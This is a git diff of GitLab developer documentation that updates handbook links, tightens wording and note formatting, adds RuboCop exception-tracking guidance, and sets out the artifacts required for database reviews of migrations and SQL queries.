--- a/doc/development/contributing/merge_request_workflow.md
+++ b/doc/development/contributing/merge_request_workflow.md
@@ -2,7 +2,7 @@
type: reference, dev
stage: none
group: Development
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Merge requests workflow
@@ -219,7 +219,7 @@ the contribution acceptance criteria below:
instructions for help if the "license-finder" test fails with a
`Dependencies that need approval` error. Also, make the reviewer aware of the new
library and explain why you need it.
-1. The merge request meets GitLab's [definition of done](#definition-of-done), below.
+1. The merge request meets the GitLab [definition of done](#definition-of-done), below.
## Definition of done
@@ -241,7 +241,7 @@ requirements.
1. Reviewed by relevant reviewers and all concerns are addressed for Availability, Regressions, Security. Documentation reviews should take place as soon as possible, but they should not block a merge request.
1. Merged by a project maintainer.
1. Create an issue in the [infrastructure issue tracker](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues) to inform the Infrastructure department when your contribution is changing default settings or introduces a new setting, if relevant.
-1. Confirmed to be working in the [Canary stage](https://about.gitlab.com/handbook/engineering/#canary-testing) or on GitLab.com once the contribution is deployed.
+1. Confirmed to be working in the [Canary stage](https://about.gitlab.com/handbook/engineering/#canary-testing) with no new [Sentry](https://about.gitlab.com/handbook/engineering/#sentry) errors or on GitLab.com once the contribution is deployed.
1. Added to the [release post](https://about.gitlab.com/handbook/marketing/blog/release-posts/),
if relevant.
1. Added to [the website](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/features.yml), if relevant.
diff --git a/doc/development/contributing/style_guides.md b/doc/development/contributing/style_guides.md
index fd3fe239110..bfaee407cb8 100644
--- a/doc/development/contributing/style_guides.md
+++ b/doc/development/contributing/style_guides.md
@@ -2,7 +2,7 @@
type: reference, dev
stage: none
group: Development
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Style guides
@@ -39,6 +39,9 @@ go get github.com/Arkweid/lefthook
## Or with Rubygems
gem install lefthook
+### You may need to run the following if you're using rbenv
+rbenv rehash
+
# 3. Install the Git hooks
lefthook install -f
```
@@ -94,6 +97,32 @@ To that end, we encourage creation of new RuboCop rules in the codebase.
When creating a new cop that could be applied to multiple applications, we encourage you
to add it to our [GitLab Styles](https://gitlab.com/gitlab-org/gitlab-styles) gem.
+### Resolving RuboCop exceptions
+
+When the number of RuboCop exceptions exceed the default [`exclude-limit` of 15](https://docs.rubocop.org/rubocop/1.2/usage/basic_usage.html#command-line-flags),
+we may want to resolve exceptions over multiple commits. To minimize confusion,
+we should track our progress through the exception list.
+
+When auto-generating the `.rubocop_todo.yml` exception list for a particular Cop,
+and more than 15 files are affected, we should add the exception list to
+a different file, `.rubocop_manual_todo.yml`.
+
+This ensures that our list isn't mistakenly removed by another auto generation of
+the `.rubocop_todo.yml`. This also allows us greater visibility into the exceptions
+which are currently being resolved.
+
+One way to generate the initial list is to run the todo auto generation,
+with `exclude limit` set to a high number.
+
+```shell
+bundle exec rubocop --auto-gen-config --auto-gen-only-exclude --exclude-limit=10000
+```
+
+You can then move the list from the freshly generated `.rubocop_todo.yml` for the Cop being actively
+resolved and place it in the `.rubocop_manual_todo.yml`. In this scenario, do not commit auto generated
+changes to the `.rubocop_todo.yml` as an `exclude limit` that is higher than 15 will make the
+`.rubocop_todo.yml` hard to parse.
+
## Database migrations
See the dedicated [Database Migrations Style Guide](../migration_style_guide.md).
diff --git a/doc/development/creating_enums.md b/doc/development/creating_enums.md
index fbf35171ecb..d0f04c30c7b 100644
--- a/doc/development/creating_enums.md
+++ b/doc/development/creating_enums.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Creating enums
diff --git a/doc/development/cycle_analytics.md b/doc/development/cycle_analytics.md
index 3947a012bd5..1619f3dcb10 100644
--- a/doc/development/cycle_analytics.md
+++ b/doc/development/cycle_analytics.md
@@ -3,3 +3,6 @@ redirect_to: 'value_stream_analytics.md'
---
This document was moved to [another location](value_stream_analytics.md)
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/dangerbot.md b/doc/development/dangerbot.md
index 4feec5c093a..59b31437161 100644
--- a/doc/development/dangerbot.md
+++ b/doc/development/dangerbot.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Danger bot
@@ -10,7 +10,7 @@ The GitLab CI/CD pipeline includes a `danger-review` job that uses [Danger](http
to perform a variety of automated checks on the code under test.
Danger is a gem that runs in the CI environment, like any other analysis tool.
-What sets it apart from, e.g., RuboCop, is that it's designed to allow you to
+What sets it apart from (for example, RuboCop) is that it's designed to allow you to
easily write arbitrary code to test properties of your code or changes. To this
end, it provides a set of common helpers and access to information about what
has actually changed in your environment, then simply runs your code!
@@ -32,7 +32,7 @@ from the start of the merge request.
### Disadvantages
-- It's not obvious Danger will update the old comment, thus you need to
+- It's not obvious Danger updates the old comment, thus you need to
pay attention to it if it is updated or not.
## Run Danger locally
@@ -46,15 +46,14 @@ bin/rake danger_local
## Operation
On startup, Danger reads a [`Dangerfile`](https://gitlab.com/gitlab-org/gitlab/blob/master/Dangerfile)
-from the project root. GitLab's Danger code is decomposed into a set of helpers
+from the project root. Danger code in GitLab is decomposed into a set of helpers
and plugins, all within the [`danger/`](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/danger/)
-subdirectory, so ours just tells Danger to load it all. Danger will then run
+subdirectory, so ours just tells Danger to load it all. Danger then runs
each plugin against the merge request, collecting the output from each. A plugin
may output notifications, warnings, or errors, all of which are copied to the
-CI job's log. If an error happens, the CI job (and so the entire pipeline) will
-be failed.
+CI job's log. If an error happens, the CI job (and so the entire pipeline) fails.
-On merge requests, Danger will also copy the output to a comment on the MR
+On merge requests, Danger also copies the output to a comment on the MR
itself, increasing visibility.
## Development guidelines
@@ -67,7 +66,7 @@ continue to apply. However, there are a few things that deserve special emphasis
Danger is a powerful tool and flexible tool, but not always the most appropriate
way to solve a given problem or workflow.
-First, be aware of GitLab's [commitment to dogfooding](https://about.gitlab.com/handbook/engineering/#dogfooding).
+First, be aware of the GitLab [commitment to dogfooding](https://about.gitlab.com/handbook/engineering/#dogfooding).
The code we write for Danger is GitLab-specific, and it **may not** be most
appropriate place to implement functionality that addresses a need we encounter.
Our users, customers, and even our own satellite projects, such as [Gitaly](https://gitlab.com/gitlab-org/gitaly),
@@ -75,17 +74,17 @@ often face similar challenges, after all. Think about how you could fulfill the
same need while ensuring everyone can benefit from the work, and do that instead
if you can.
-If a standard tool (e.g. `rubocop`) exists for a task, it is better to use it
-directly, rather than calling it via Danger. Running and debugging the results
-of those tools locally is easier if Danger isn't involved, and unless you're
-using some Danger-specific functionality, there's no benefit to including it in
-the Danger run.
+If a standard tool (for example, `rubocop`) exists for a task, it's better to
+use it directly, rather than calling it by using Danger. Running and debugging
+the results of those tools locally is easier if Danger isn't involved, and
+unless you're using some Danger-specific functionality, there's no benefit to
+including it in the Danger run.
Danger is well-suited to prototyping and rapidly iterating on solutions, so if
what we want to build is unclear, a solution in Danger can be thought of as a
trial run to gather information about a product area. If you're doing this, make
sure the problem you're trying to solve, and the outcomes of that prototyping,
-are captured in an issue or epic as you go along. This will help us to address
+are captured in an issue or epic as you go along. This helps us to address
the need as part of the product in a future version of GitLab!
### Implementation details
@@ -110,16 +109,17 @@ At present, we do this by putting the code in a module in `lib/gitlab/danger/...
and including it in the matching `danger/plugins/...` file. Specs can then be
added in `spec/lib/gitlab/danger/...`.
-You'll only know if your `Dangerfile` works by pushing the branch that contains
-it to GitLab. This can be quite frustrating, as it significantly increases the
-cycle time when developing a new task, or trying to debug something in an
-existing one. If you've followed the guidelines above, most of your code can
-be exercised locally in RSpec, minimizing the number of cycles you need to go
-through in CI. However, you can speed these cycles up somewhat by emptying the
+To determine if your `Dangerfile` works, push the branch that contains it to
+GitLab. This can be quite frustrating, as it significantly increases the cycle
+time when developing a new task, or trying to debug something in an existing
+one. If you've followed the guidelines above, most of your code can be exercised
+locally in RSpec, minimizing the number of cycles you need to go through in CI.
+However, you can speed these cycles up somewhat by emptying the
`.gitlab/ci/rails.gitlab-ci.yml` file in your merge request. Just don't forget
to revert the change before merging!
-To enable the Dangerfile on another existing GitLab project, run the following extra steps, based on [this procedure](https://danger.systems/guides/getting_started.html#creating-a-bot-account-for-danger-to-use):
+To enable the Dangerfile on another existing GitLab project, run the following
+extra steps, based on [this procedure](https://danger.systems/guides/getting_started.html#creating-a-bot-account-for-danger-to-use):
1. Add `@gitlab-bot` to the project as a `reporter`.
1. Add the `@gitlab-bot`'s `GITLAB_API_PRIVATE_TOKEN` value as a value for a new CI/CD
@@ -156,10 +156,10 @@ at GitLab so far:
To work around this, you can add an [environment
variable](../ci/variables/README.md) called
`DANGER_GITLAB_API_TOKEN` with a personal API token to your
- fork. That way the danger comments will be made from CI using that
+ fork. That way the danger comments are made from CI using that
API token instead.
Making the variable
- [masked](../ci/variables/README.md#mask-a-custom-variable) will make sure
+ [masked](../ci/variables/README.md#mask-a-custom-variable) makes sure
it doesn't show up in the job logs. The variable cannot be
[protected](../ci/variables/README.md#protect-a-custom-variable),
as it needs to be present for all feature branches.
diff --git a/doc/development/database/add_foreign_key_to_existing_column.md b/doc/development/database/add_foreign_key_to_existing_column.md
index 85411ff9aa7..a5d40d455d8 100644
--- a/doc/development/database/add_foreign_key_to_existing_column.md
+++ b/doc/development/database/add_foreign_key_to_existing_column.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Adding foreign key constraint to an existing column
@@ -79,7 +79,7 @@ class AddNotValidForeignKeyToEmailsUser < ActiveRecord::Migration[5.2]
end
```
-CAUTION: **Caution:**
+WARNING:
Avoid using the `add_foreign_key` constraint more than once per migration file, unless the source and target tables are identical.
#### Data migration to fix existing records
@@ -119,7 +119,7 @@ end
Validating the foreign key will scan the whole table and make sure that each relation is correct.
-NOTE: **Note:**
+NOTE:
When using [background migrations](../background_migrations.md), foreign key validation should happen in the next GitLab release.
Migration file for validating the foreign key:
diff --git a/doc/development/database/constraint_naming_convention.md b/doc/development/database/constraint_naming_convention.md
index 63a2d607ac5..debf74d3b40 100644
--- a/doc/development/database/constraint_naming_convention.md
+++ b/doc/development/database/constraint_naming_convention.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Constraints naming conventions
@@ -17,7 +17,7 @@ Please note that the intent is not to retroactively change names in existing dat
| **Foreign Key** | `fk_<table name>_<column name>[_and_<column name>]*_<foreign table name>` | | `fk_projects_group_id_groups` |
| **Index** | `index_<table name>_on_<column name>[_and_<column name>]*[_and_<column name in partial clause>]*` | | `index_repositories_on_group_id` |
| **Unique Constraint** | `unique_<table name>_<column name>[_and_<column name>]*` | | `unique_projects_group_id_and_name` |
-| **Check Constraint** | `check_<table name>_<column name>[_and_<column name>]*[_<suffix>]?` | The optional suffix should denote the type of validation, such as `length` and `enum`. It can also be used to desambiguate multiple `CHECK` constraints on the same column. | `check_projects_name_length`<br />`check_projects_type_enum`<br />`check_projects_admin1_id_and_admin2_id_differ` |
+| **Check Constraint** | `check_<table name>_<column name>[_and_<column name>]*[_<suffix>]?` | The optional suffix should denote the type of validation, such as `length` and `enum`. It can also be used to disambiguate multiple `CHECK` constraints on the same column. | `check_projects_name_length`<br />`check_projects_type_enum`<br />`check_projects_admin1_id_and_admin2_id_differ` |
| **Exclusion Constraint** | `excl_<table name>_<column name>[_and_<column name>]*_[_<suffix>]?` | The optional suffix should denote the type of exclusion being performed. | `excl_reservations_start_at_end_at_no_overlap` |
## Observations
diff --git a/doc/development/database/database_reviewer_guidelines.md b/doc/development/database/database_reviewer_guidelines.md
index 3345df8b46b..26083183d6d 100644
--- a/doc/development/database/database_reviewer_guidelines.md
+++ b/doc/development/database/database_reviewer_guidelines.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Database Reviewer Guidelines
diff --git a/doc/development/database/index.md b/doc/development/database/index.md
index 19159c6c0ff..367ef455898 100644
--- a/doc/development/database/index.md
+++ b/doc/development/database/index.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Database guides
@@ -59,6 +59,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
- [Client-side connection-pool](client_side_connection_pool.md)
- [Updating multiple values](setting_multiple_values.md)
- [Constraints naming conventions](constraint_naming_convention.md)
+- [Query performance guidelines](../query_performance.md)
## Case studies
diff --git a/doc/development/database/maintenance_operations.md b/doc/development/database/maintenance_operations.md
index c84ec31471e..9e7a35531ca 100644
--- a/doc/development/database/maintenance_operations.md
+++ b/doc/development/database/maintenance_operations.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Maintenance operations
diff --git a/doc/development/database/not_null_constraints.md b/doc/development/database/not_null_constraints.md
index 96271863d94..01d5b7af7f1 100644
--- a/doc/development/database/not_null_constraints.md
+++ b/doc/development/database/not_null_constraints.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# `NOT NULL` constraints
@@ -66,7 +66,7 @@ different releases:
- Add a post-deployment migration to add the `NOT NULL` constraint with `validate: false`.
- Add a post-deployment migration to fix the existing records.
- NOTE: **Note:**
+ NOTE:
Depending on the size of the table, a background migration for cleanup could be required in the next release.
See the [`NOT NULL` constraints on large tables](not_null_constraints.md#not-null-constraints-on-large-tables) section for more information.
@@ -94,7 +94,7 @@ that all epics should have a user-generated description.
After checking our production database, we know that there are `epics` with `NULL` descriptions,
so we can not add and validate the constraint in one step.
-NOTE: **Note:**
+NOTE:
Even if we did not have any epic with a `NULL` description, another instance of GitLab could have
such records, so we would follow the same process either way.
diff --git a/doc/development/database/setting_multiple_values.md b/doc/development/database/setting_multiple_values.md
index c354247a9f8..54870380047 100644
--- a/doc/development/database/setting_multiple_values.md
+++ b/doc/development/database/setting_multiple_values.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Setting Multiple Values
diff --git a/doc/development/database/strings_and_the_text_data_type.md b/doc/development/database/strings_and_the_text_data_type.md
index fe8cfa5cd22..8b839e929c7 100644
--- a/doc/development/database/strings_and_the_text_data_type.md
+++ b/doc/development/database/strings_and_the_text_data_type.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Strings and the Text data type
@@ -17,7 +17,7 @@ The `text` data type can not be defined with a limit, so `add_text_limit` is enf
adding a [check constraint](https://www.postgresql.org/docs/11/ddl-constraints.html) on the
column and then validating it at a followup step.
-## Background info
+## Background information
The reason we always want to use `text` instead of `string` is that `string` columns have the
disadvantage that if you want to update their limit, you have to run an `ALTER TABLE ...` command.
@@ -133,7 +133,7 @@ Adding text limits to existing database columns requires multiple steps split in
- Add a post-deployment migration to add the limit to the text column with `validate: false`.
- Add a post-deployment migration to fix the existing records.
- NOTE: **Note:**
+ NOTE:
Depending on the size of the table, a background migration for cleanup could be required in the next release.
See [text limit constraints on large tables](strings_and_the_text_data_type.md#text-limit-constraints-on-large-tables) for more information.
@@ -154,7 +154,7 @@ other processes that try to access it while running the update.
Also, after checking our production database, we know that there are `issues` with more characters in
their title than the 1024 character limit, so we can not add and validate the constraint in one step.
-NOTE: **Note:**
+NOTE:
Even if we did not have any record with a title larger than the provided limit, another
instance of GitLab could have such records, so we would follow the same process either way.
@@ -256,7 +256,7 @@ end
To keep this guide short, we skipped the definition of the background migration and only
provided a high level example of the post-deployment migration that is used to schedule the batches.
-You can find more info on the guide about [background migrations](../background_migrations.md)
+You can find more information on the guide about [background migrations](../background_migrations.md)
#### Validate the text limit (next release)
diff --git a/doc/development/database/table_partitioning.md b/doc/development/database/table_partitioning.md
index 30d0b0a2f5b..358b9bb42b0 100644
--- a/doc/development/database/table_partitioning.md
+++ b/doc/development/database/table_partitioning.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Database table partitioning
@@ -98,7 +98,7 @@ CREATE TABLE audit_events (
PARTITION BY RANGE(created_at);
```
-NOTE: **Note:**
+NOTE:
The primary key of a partitioned table must include the partition key as
part of the primary key definition.
diff --git a/doc/development/database_debugging.md b/doc/development/database_debugging.md
index ebd57df498e..f4558189000 100644
--- a/doc/development/database_debugging.md
+++ b/doc/development/database_debugging.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Troubleshooting and Debugging Database
diff --git a/doc/development/database_query_comments.md b/doc/development/database_query_comments.md
index ccaaadef4f4..8a5abad3815 100644
--- a/doc/development/database_query_comments.md
+++ b/doc/development/database_query_comments.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Database query comments with Marginalia
diff --git a/doc/development/database_review.md b/doc/development/database_review.md
index d1ec32af464..f0c265df9ab 100644
--- a/doc/development/database_review.md
+++ b/doc/development/database_review.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Database Review Guidelines
@@ -36,9 +36,22 @@ point out specific queries for review and there are no obviously
complex queries, it is enough to concentrate on reviewing the
migration only.
-It is preferable to review queries in SQL form and generally accepted
-to ask the author to translate any ActiveRecord queries in SQL form
-for review.
+### Required
+
+The following artifacts are required prior to submitting for a ~database review.
+If your merge request description does not include these items, the review will be reassigned back to the author.
+
+If new migrations are introduced, in the MR **you are required to provide**:
+
+- The output of both migrating and rolling back for all migrations
+
+If new queries have been introduced or existing queries have been updated, **you are required to provide**:
+
+- [Query plans](#query-plans) for each raw SQL query included in the merge request along with the link to the query plan following each raw SQL snippet.
+- [Raw SQL](#raw-sql) for all changed or added queries (as translated from ActiveRecord queries).
+ - In case of updating an existing query, the raw SQL of both the old and the new version of the query should be provided together with their query plans.
+
+Refer to [Preparation when adding or modifying queries](#preparation-when-adding-or-modifying-queries) for how to provide this information.
### Roles and process
@@ -47,9 +60,11 @@ A Merge Request **author**'s role is to:
- Decide whether a database review is needed.
- If database review is needed, add the ~database label.
- [Prepare the merge request for a database review](#how-to-prepare-the-merge-request-for-a-database-review).
+- Provide the [required](#required) artifacts prior to submitting the MR.
A database **reviewer**'s role is to:
+- Ensure the [required](#required) artifacts are provided and in the proper format. If they are not, reassign the merge request back to the author.
- Perform a first-pass review on the MR and suggest improvements to the author.
- Once satisfied, relabel the MR with ~"database::reviewed", approve it, and
reassign MR to the database **maintainer** suggested by Reviewer
@@ -104,23 +119,43 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac
#### Preparation when adding or modifying queries
+##### Raw SQL
+
- Write the raw SQL in the MR description. Preferably formatted
nicely with [pgFormatter](https://sqlformat.darold.net) or
[paste.depesz.com](https://paste.depesz.com) and using regular quotes
(e.g. `"projects"."id"`) and avoiding smart quotes (e.g. `“projectsâ€.“idâ€`).
-- Include the output of `EXPLAIN (ANALYZE, BUFFERS)` of the relevant
- queries in the description. If the output is too long, wrap it in
- `<details>` blocks, paste it in a GitLab Snippet, or provide the
- link to the plan at: [explain.depesz.com](https://explain.depesz.com).
+- In case of queries generated dynamically by using parameters, there should be one raw SQL query for each variation.
+
+ For example, a finder for issues that may take as a parameter an optional filter on projects,
+ should include both the version of the simple query over issues and the one that joins issues
+ and projects and applies the filter.
+
+ There are finders or other methods that can generate a very large amount of permutations.
+ There is no need to exhaustively add all the possible generated queries, just the one with
+ all the parameters included and one for each type of queries generated.
+
+ For example, if joins or a group by clause are optional, the versions without the group by clause
+ and with less joins should be also included, while keeping the appropriate filters for the remaining tables.
+
+- If a query is going to be always used with a limit and an offset, those should always be
+ included with the maximum allowed limit used and a non 0 offset.
+
+##### Query Plans
+
+- The query plan for each raw SQL query included in the merge request along with the link to the query plan following each raw SQL snippet.
+- Provide the link to the plan at: [explain.depesz.com](https://explain.depesz.com). Paste both the plan and the query used in the form.
- When providing query plans, make sure it hits enough data:
- You can use a GitLab production replica to test your queries on a large scale,
through the `#database-lab` Slack channel or through [chatops](understanding_explain_plans.md#chatops).
- Usually, the `gitlab-org` namespace (`namespace_id = 9970`) and the
`gitlab-org/gitlab-foss` (`project_id = 13083`) or the `gitlab-org/gitlab` (`project_id = 278964`)
projects provide enough data to serve as a good example.
-- For query changes, it is best to provide the SQL query along with a
- plan _before_ and _after_ the change. This helps to spot differences
- quickly.
+ - That means that no query plan should return 0 records or less records than the provided limit (if a limit is included). If a query is used in batching, a proper example batch with adequate included results should be identified and provided.
+ - If your queries belong to a new feature in GitLab.com and thus they don't return data in production, it's suggested to analyze the query and to provide the plan from a local environment.
+ - More information on how to find the number of actual returned records in [Understanding EXPLAIN plans](understanding_explain_plans.md)
+- For query changes, it is best to provide both the SQL queries along with the
+ plan _before_ and _after_ the change. This helps spot differences quickly.
- Include data that shows the performance improvement, preferably in
the form of a benchmark.
@@ -158,8 +193,8 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac
- Maintainer: After the merge request is merged, notify Release Managers about it on `#f_upcoming_release` Slack channel.
- Check consistency with `db/structure.sql` and that migrations are [reversible](migration_style_guide.md#reversibility)
- Check that the relevant version files under `db/schema_migrations` were added or removed.
- - Check queries timing (If any): Queries executed in a migration
- need to fit comfortably within `15s` - preferably much less than that - on GitLab.com.
+ - Check queries timing (If any): In a single transaction, cumulative query time executed in a migration
+ needs to fit comfortably within `15s` - preferably much less than that - on GitLab.com.
- For column removals, make sure the column has been [ignored in a previous release](what_requires_downtime.md#dropping-columns)
- Check [background migrations](background_migrations.md):
- Establish a time estimate for execution on GitLab.com. For historical purposes,
@@ -190,7 +225,7 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac
- For given queries, review parameters regarding data distribution
- [Check query plans](understanding_explain_plans.md) and suggest improvements
to queries (changing the query, schema or adding indexes and similar)
- - General guideline is for queries to come in below 100ms execution time
+ - General guideline is for queries to come in below [100ms execution time](query_performance.md#timing-guidelines-for-queries)
- Avoid N+1 problems and minimalize the [query count](merge_request_performance_guidelines.md#query-counts).
### Timing guidelines for migrations
@@ -199,11 +234,11 @@ In general, migrations for a single deploy shouldn't take longer than
1 hour for GitLab.com. The following guidelines are not hard rules, they were
estimated to keep migration timing to a minimum.
-NOTE: **Note:**
+NOTE:
Keep in mind that all runtimes should be measured against GitLab.com.
| Migration Type | Execution Time Recommended | Notes |
|----|----|---|
| Regular migrations on `db/migrate` | `3 minutes` | A valid exception are index creation as this can take a long time. |
| Post migrations on `db/post_migrate` | `10 minutes` | |
-| Background migrations | --- | Since these are suitable for larger tables, it's not possible to set a precise timing guideline, however, any single query must stay below `1 second` execution time with cold caches. |
+| Background migrations | --- | Since these are suitable for larger tables, it's not possible to set a precise timing guideline, however, any single query must stay below [`1 second` execution time](query_performance.md#timing-guidelines-for-queries) with cold caches. |
diff --git a/doc/development/db_dump.md b/doc/development/db_dump.md
index b16cd4b08d1..505305c860a 100644
--- a/doc/development/db_dump.md
+++ b/doc/development/db_dump.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Importing a database dump into a staging environment
diff --git a/doc/development/deleting_migrations.md b/doc/development/deleting_migrations.md
index df36715fa6a..f159f679c32 100644
--- a/doc/development/deleting_migrations.md
+++ b/doc/development/deleting_migrations.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Delete existing migrations
diff --git a/doc/development/deprecation_guidelines/index.md b/doc/development/deprecation_guidelines/index.md
index 5cc408bb57b..c2fea3c6053 100644
--- a/doc/development/deprecation_guidelines/index.md
+++ b/doc/development/deprecation_guidelines/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Deprecation guidelines
@@ -15,7 +15,7 @@ It's important to understand the difference between **deprecation** and
**removal**:
**Deprecation** is the process of flagging/marking/announcing that a feature
-will be removed in a future version of GitLab.
+is scheduled for removal in a future version of GitLab.
**Removal** is the process of actually removing a feature that was previously
deprecated.
diff --git a/doc/development/diffs.md b/doc/development/diffs.md
index ece7bb9e9ee..fba8eda0408 100644
--- a/doc/development/diffs.md
+++ b/doc/development/diffs.md
@@ -1,12 +1,12 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Working with diffs
-Currently we rely on different sources to present diffs, these include:
+We rely on different sources to present diffs. These include:
- Gitaly service
- Database (through `merge_request_diff_files`)
@@ -14,7 +14,14 @@ Currently we rely on different sources to present diffs, these include:
## Deep Dive
-In January 2019, Oswaldo Ferreira hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab's Diffs and Commenting on Diffs functionality to share his domain specific knowledge with anyone who may work in this part of the code base in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=K6G3gMcFyek), and the slides on [Google Slides](https://docs.google.com/presentation/d/1bGutFH2AT3bxOPZuLMGl1ANWHqFnrxwQwjiwAZkF-TU/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/b5ad2f336e0afcfe0f99db0af0ccc71a/). Everything covered in this deep dive was accurate as of GitLab 11.7, and while specific details may have changed since then, it should still serve as a good introduction.
